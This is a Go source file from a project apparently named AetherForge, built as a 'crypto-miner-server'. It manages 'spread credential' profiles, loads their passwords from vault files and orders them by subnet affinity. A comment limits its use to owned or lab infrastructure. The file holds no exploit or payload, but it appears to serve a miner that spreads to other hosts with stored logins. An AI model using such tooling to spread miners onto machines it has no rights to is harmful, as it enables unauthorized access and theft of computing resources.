Files
AetherForge/server/deployment_creds.go

114 lines
3.3 KiB
Go

package main
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
)
const deploymentCredsDir = "deployment-creds"
// DeploymentCredProfile is an operator-authorized spread credential (owned/lab infra only).
// Password material lives in the vault file referenced by VaultRef — never in config.json logs.
type DeploymentCredProfile struct {
ID string `json:"id"`
Label string `json:"label"`
Username string `json:"username"`
VaultRef string `json:"vault_ref,omitempty"`
}
type deploymentCredVault struct {
Password string `json:"password"`
}
// EnsureCredProfileID assigns a stable hash ref when the operator omits id.
func EnsureCredProfileID(p *DeploymentCredProfile) {
if p == nil {
return
}
if strings.TrimSpace(p.ID) != "" {
p.ID = strings.TrimSpace(p.ID)
return
}
sum := sha256.Sum256([]byte(strings.TrimSpace(p.Label) + "|" + strings.TrimSpace(p.Username) + "|" + strings.TrimSpace(p.VaultRef)))
p.ID = hex.EncodeToString(sum[:8])
}
func defaultVaultRef(profileID string) string {
return filepath.ToSlash(filepath.Join(deploymentCredsDir, profileID+".vault"))
}
// ResolveCredVaultPath returns the on-disk vault path for a profile (0600 file).
func (c *Config) ResolveCredVaultPath(p DeploymentCredProfile) string {
ref := strings.TrimSpace(p.VaultRef)
if ref == "" {
ref = defaultVaultRef(p.ID)
}
ref = filepath.Clean(ref)
if strings.HasPrefix(ref, "..") || filepath.IsAbs(ref) {
ref = defaultVaultRef(p.ID)
}
return filepath.Join(c.DataDir, ref)
}
// LoadDeploymentCredPassword reads the vault secret for an authorized profile.
func (c *Config) LoadDeploymentCredPassword(profileID string) (username, password string, err error) {
if c == nil {
return "", "", fmt.Errorf("config unavailable")
}
profileID = strings.TrimSpace(profileID)
for _, p := range c.DeploymentCredentials {
if strings.TrimSpace(p.ID) != profileID {
continue
}
path := c.ResolveCredVaultPath(p)
data, readErr := os.ReadFile(path)
if readErr != nil {
return "", "", fmt.Errorf("vault read %s: %w", p.VaultRef, readErr)
}
var vault deploymentCredVault
if unmarshalErr := json.Unmarshal(data, &vault); unmarshalErr != nil {
// Allow plain-text vault files (cloudflared-token pattern).
vault.Password = strings.TrimSpace(string(data))
}
pw := strings.TrimSpace(vault.Password)
if pw == "" {
return "", "", fmt.Errorf("vault empty for profile %s", profileID)
}
return strings.TrimSpace(p.Username), pw, nil
}
return "", "", fmt.Errorf("deployment credential profile not found: %s", profileID)
}
// OrderDeploymentCredProfiles returns profiles with subnet affinity winners first.
func (c *Config) OrderDeploymentCredProfiles(affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile {
if c == nil || len(c.DeploymentCredentials) == 0 {
return nil
}
seen := make(map[string]bool)
var ordered []DeploymentCredProfile
for _, row := range affinity {
for _, p := range c.DeploymentCredentials {
if p.ID == row.CredentialProfileID && !seen[p.ID] {
ordered = append(ordered, p)
seen[p.ID] = true
break
}
}
}
for _, p := range c.DeploymentCredentials {
EnsureCredProfileID(&p)
if !seen[p.ID] {
ordered = append(ordered, p)
seen[p.ID] = true
}
}
return ordered
}